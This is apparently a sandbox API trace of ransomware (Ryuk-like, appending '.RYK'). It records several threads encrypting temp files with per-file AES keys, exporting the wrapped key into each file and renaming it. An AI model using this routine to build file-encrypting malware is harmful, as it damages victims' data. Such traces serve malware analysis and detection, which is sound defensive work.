	[0256.436] WriteFile (in: hFile=0x6e4, lpBuffer=0x3880000*, nNumberOfBytesToWrite=0x158b0, lpNumberOfBytesWritten=0x9c2fc04, lpOverlapped=0x0 | out: lpBuffer=0x3880000*, lpNumberOfBytesWritten=0x9c2fc04*=0x158b0, lpOverlapped=0x0) returned 1
	[0256.794] WriteFile (in: hFile=0x6e4, lpBuffer=0x9c2fc30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9c2fc10, lpOverlapped=0x0 | out: lpBuffer=0x9c2fc30*, lpNumberOfBytesWritten=0x9c2fc10*=0x6, lpOverlapped=0x0) returned 1
	[0256.794] CryptExportKey (in: hKey=0x3f8110, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9c2fc20 | out: pbData=0x0*, pdwDataLen=0x9c2fc20*=0x10c) returned 1
	[0256.794] CryptExportKey (in: hKey=0x3f8110, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9c2fc90, pdwDataLen=0x9c2fc20 | out: pbData=0x9c2fc90*, pdwDataLen=0x9c2fc20*=0x10c) returned 1
	[0256.794] WriteFile (in: hFile=0x6e4, lpBuffer=0x9c2fc90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9c2fc10, lpOverlapped=0x0 | out: lpBuffer=0x9c2fc90*, lpNumberOfBytesWritten=0x9c2fc10*=0x10c, lpOverlapped=0x0) returned 1
	[0256.794] CloseHandle (hObject=0x6e4) returned 1
	[0256.796] CryptDestroyKey (hKey=0x3f8110) returned 1
	[0256.796] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3459
	os_tid = 0x3bc8

	[0256.045] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi", dwFileAttributes=0x80) returned 1
	[0256.278] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0
	[0256.278] GetFileSizeEx (in: hFile=0x6e0, lpFileSize=0x9def6b8 | out: lpFileSize=0x9def6b8*=12373) returned 1
	[0256.278] GetFileSizeEx (in: hFile=0x6e0, lpFileSize=0x9def6c8 | out: lpFileSize=0x9def6c8*=12373) returned 1
	[0256.278] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x2f33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.279] ReadFile (in: hFile=0x6e0, lpBuffer=0x9def710, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9def680, lpOverlapped=0x0 | out: lpBuffer=0x9def710*, lpNumberOfBytesRead=0x9def680*=0x19, lpOverlapped=0x0) returned 1
	[0256.280] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.280] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9def698 | out: phKey=0x9def698*=0x3f7af0) returned 1
	[0256.280] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.280] ReadFile (in: hFile=0x6e0, lpBuffer=0x3980000, nNumberOfBytesToRead=0x3055, lpNumberOfBytesRead=0x9def6a4, lpOverlapped=0x0 | out: lpBuffer=0x3980000*, lpNumberOfBytesRead=0x9def6a4*=0x3055, lpOverlapped=0x0) returned 1
	[0256.281] CryptEncrypt (in: hKey=0x3f7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9def6a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9def6a0*=0xf4250) returned 1
	[0256.281] CryptEncrypt (in: hKey=0x3f7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3980000*, pdwDataLen=0x9def6a8*=0x3055, dwBufLen=0xf4250 | out: pbData=0x3980000*, pdwDataLen=0x9def6a8*=0x3060) returned 1
	[0256.281] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.281] WriteFile (in: hFile=0x6e0, lpBuffer=0x3980000*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x9def6a4, lpOverlapped=0x0 | out: lpBuffer=0x3980000*, lpNumberOfBytesWritten=0x9def6a4*=0x3060, lpOverlapped=0x0) returned 1
	[0256.281] WriteFile (in: hFile=0x6e0, lpBuffer=0x9def6d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9def6b0, lpOverlapped=0x0 | out: lpBuffer=0x9def6d0*, lpNumberOfBytesWritten=0x9def6b0*=0x6, lpOverlapped=0x0) returned 1
	[0256.281] CryptExportKey (in: hKey=0x3f7af0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9def6c0 | out: pbData=0x0*, pdwDataLen=0x9def6c0*=0x10c) returned 1
	[0256.281] CryptExportKey (in: hKey=0x3f7af0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9def730, pdwDataLen=0x9def6c0 | out: pbData=0x9def730*, pdwDataLen=0x9def6c0*=0x10c) returned 1
	[0256.281] WriteFile (in: hFile=0x6e0, lpBuffer=0x9def730*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9def6b0, lpOverlapped=0x0 | out: lpBuffer=0x9def730*, lpNumberOfBytesWritten=0x9def6b0*=0x10c, lpOverlapped=0x0) returned 1
	[0256.281] CloseHandle (hObject=0x6e0) returned 1
	[0256.282] CryptDestroyKey (hKey=0x3f7af0) returned 1
	[0256.283] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3490
	os_tid = 0x3ae4

	[0256.529] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt", dwFileAttributes=0x80) returned 1
	[0256.737] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8
	[0256.738] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x966fb98 | out: lpFileSize=0x966fb98*=96539) returned 1
	[0256.738] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x966fba8 | out: lpFileSize=0x966fba8*=96539) returned 1
	[0256.738] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x177f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.738] ReadFile (in: hFile=0x6e8, lpBuffer=0x966fbf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x966fb60, lpOverlapped=0x0 | out: lpBuffer=0x966fbf0*, lpNumberOfBytesRead=0x966fb60*=0x19, lpOverlapped=0x0) returned 1
	[0256.740] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.740] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x966fb78 | out: phKey=0x966fb78*=0x3f80a0) returned 1
	[0256.740] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.741] ReadFile (in: hFile=0x6e8, lpBuffer=0x3580000, nNumberOfBytesToRead=0x1791b, lpNumberOfBytesRead=0x966fb84, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x966fb84*=0x1791b, lpOverlapped=0x0) returned 1
	[0256.742] CryptEncrypt (in: hKey=0x3f80a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x966fb80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x966fb80*=0xf4250) returned 1
	[0256.742] CryptEncrypt (in: hKey=0x3f80a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3580000*, pdwDataLen=0x966fb88*=0x1791b, dwBufLen=0xf4250 | out: pbData=0x3580000*, pdwDataLen=0x966fb88*=0x17920) returned 1
	[0256.743] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.743] WriteFile (in: hFile=0x6e8, lpBuffer=0x3580000*, nNumberOfBytesToWrite=0x17920, lpNumberOfBytesWritten=0x966fb84, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesWritten=0x966fb84*=0x17920, lpOverlapped=0x0) returned 1
	[0256.744] WriteFile (in: hFile=0x6e8, lpBuffer=0x966fbb0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x966fb90, lpOverlapped=0x0 | out: lpBuffer=0x966fbb0*, lpNumberOfBytesWritten=0x966fb90*=0x6, lpOverlapped=0x0) returned 1
	[0256.744] CryptExportKey (in: hKey=0x3f80a0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x966fba0 | out: pbData=0x0*, pdwDataLen=0x966fba0*=0x10c) returned 1
	[0256.744] CryptExportKey (in: hKey=0x3f80a0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x966fc10, pdwDataLen=0x966fba0 | out: pbData=0x966fc10*, pdwDataLen=0x966fba0*=0x10c) returned 1
	[0256.744] WriteFile (in: hFile=0x6e8, lpBuffer=0x966fc10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x966fb90, lpOverlapped=0x0 | out: lpBuffer=0x966fc10*, lpNumberOfBytesWritten=0x966fb90*=0x10c, lpOverlapped=0x0) returned 1
	[0256.744] CloseHandle (hObject=0x6e8) returned 1
	[0256.746] CryptDestroyKey (hKey=0x3f80a0) returned 1
	[0256.746] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3491
	os_tid = 0x3998

	[0256.529] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav", dwFileAttributes=0x80) returned 1
	[0256.748] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec
	[0256.748] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x980f598 | out: lpFileSize=0x980f598*=83977) returned 1
	[0256.748] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x980f5a8 | out: lpFileSize=0x980f5a8*=83977) returned 1
	[0256.748] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x146e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.748] ReadFile (in: hFile=0x6ec, lpBuffer=0x980f5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x980f560, lpOverlapped=0x0 | out: lpBuffer=0x980f5f0*, lpNumberOfBytesRead=0x980f560*=0x19, lpOverlapped=0x0) returned 1
	[0256.750] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.750] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x980f578 | out: phKey=0x980f578*=0x3f8180) returned 1
	[0256.750] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.750] ReadFile (in: hFile=0x6ec, lpBuffer=0x3680000, nNumberOfBytesToRead=0x14809, lpNumberOfBytesRead=0x980f584, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesRead=0x980f584*=0x14809, lpOverlapped=0x0) returned 1
	[0256.751] CryptEncrypt (in: hKey=0x3f8180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x980f580*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x980f580*=0xf4250) returned 1
	[0256.751] CryptEncrypt (in: hKey=0x3f8180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3680000*, pdwDataLen=0x980f588*=0x14809, dwBufLen=0xf4250 | out: pbData=0x3680000*, pdwDataLen=0x980f588*=0x14810) returned 1
	[0256.752] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.752] WriteFile (in: hFile=0x6ec, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x14810, lpNumberOfBytesWritten=0x980f584, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x980f584*=0x14810, lpOverlapped=0x0) returned 1
	[0256.753] WriteFile (in: hFile=0x6ec, lpBuffer=0x980f5b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x980f590, lpOverlapped=0x0 | out: lpBuffer=0x980f5b0*, lpNumberOfBytesWritten=0x980f590*=0x6, lpOverlapped=0x0) returned 1
	[0256.753] CryptExportKey (in: hKey=0x3f8180, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x980f5a0 | out: pbData=0x0*, pdwDataLen=0x980f5a0*=0x10c) returned 1
	[0256.753] CryptExportKey (in: hKey=0x3f8180, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x980f610, pdwDataLen=0x980f5a0 | out: pbData=0x980f610*, pdwDataLen=0x980f5a0*=0x10c) returned 1
	[0256.753] WriteFile (in: hFile=0x6ec, lpBuffer=0x980f610*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x980f590, lpOverlapped=0x0 | out: lpBuffer=0x980f610*, lpNumberOfBytesWritten=0x980f590*=0x10c, lpOverlapped=0x0) returned 1
	[0256.753] CloseHandle (hObject=0x6ec) returned 1
	[0256.755] CryptDestroyKey (hKey=0x3f8180) returned 1
	[0256.755] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3492
	os_tid = 0x3994

	[0256.530] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv", dwFileAttributes=0x80) returned 0
	[0256.530] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylwnsymrpkhmewlv4xtt.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.530] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylwnsymrpkhmewlv4xtt.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylwnsymrpkhmewlv4xtt.mkv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3493
	os_tid = 0x3a64

	[0256.531] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt", dwFileAttributes=0x80) returned 1
	[0256.797] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0
	[0256.797] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0x9e8fcd8 | out: lpFileSize=0x9e8fcd8*=64646) returned 1
	[0256.798] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0x9e8fce8 | out: lpFileSize=0x9e8fce8*=64646) returned 1
	[0256.798] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0xfb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.798] ReadFile (in: hFile=0x6f0, lpBuffer=0x9e8fd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9e8fca0, lpOverlapped=0x0 | out: lpBuffer=0x9e8fd30*, lpNumberOfBytesRead=0x9e8fca0*=0x19, lpOverlapped=0x0) returned 1
	[0256.800] SetFilePointer (in: hFile=0x6f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.800] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9e8fcb8 | out: phKey=0x9e8fcb8*=0x3f7cb0) returned 1
	[0256.800] SetFilePointer (in: hFile=0x6f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.800] ReadFile (in: hFile=0x6f0, lpBuffer=0x3a80000, nNumberOfBytesToRead=0xfc86, lpNumberOfBytesRead=0x9e8fcc4, lpOverlapped=0x0 | out: lpBuffer=0x3a80000*, lpNumberOfBytesRead=0x9e8fcc4*=0xfc86, lpOverlapped=0x0) returned 1
	[0256.801] CryptEncrypt (in: hKey=0x3f7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9e8fcc0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9e8fcc0*=0xf4250) returned 1
	[0256.801] CryptEncrypt (in: hKey=0x3f7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a80000*, pdwDataLen=0x9e8fcc8*=0xfc86, dwBufLen=0xf4250 | out: pbData=0x3a80000*, pdwDataLen=0x9e8fcc8*=0xfc90) returned 1
	[0256.801] SetFilePointer (in: hFile=0x6f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.801] WriteFile (in: hFile=0x6f0, lpBuffer=0x3a80000*, nNumberOfBytesToWrite=0xfc90, lpNumberOfBytesWritten=0x9e8fcc4, lpOverlapped=0x0 | out: lpBuffer=0x3a80000*, lpNumberOfBytesWritten=0x9e8fcc4*=0xfc90, lpOverlapped=0x0) returned 1
	[0256.802] WriteFile (in: hFile=0x6f0, lpBuffer=0x9e8fcf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9e8fcd0, lpOverlapped=0x0 | out: lpBuffer=0x9e8fcf0*, lpNumberOfBytesWritten=0x9e8fcd0*=0x6, lpOverlapped=0x0) returned 1
	[0256.802] CryptExportKey (in: hKey=0x3f7cb0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9e8fce0 | out: pbData=0x0*, pdwDataLen=0x9e8fce0*=0x10c) returned 1
	[0256.802] CryptExportKey (in: hKey=0x3f7cb0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9e8fd50, pdwDataLen=0x9e8fce0 | out: pbData=0x9e8fd50*, pdwDataLen=0x9e8fce0*=0x10c) returned 1
	[0256.802] WriteFile (in: hFile=0x6f0, lpBuffer=0x9e8fd50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9e8fcd0, lpOverlapped=0x0 | out: lpBuffer=0x9e8fd50*, lpNumberOfBytesWritten=0x9e8fcd0*=0x10c, lpOverlapped=0x0) returned 1
	[0256.802] CloseHandle (hObject=0x6f0) returned 1
	[0256.804] CryptDestroyKey (hKey=0x3f7cb0) returned 1
	[0256.804] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3496
	os_tid = 0x3c08

	[0256.806] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT", dwFileAttributes=0x80) returned 0
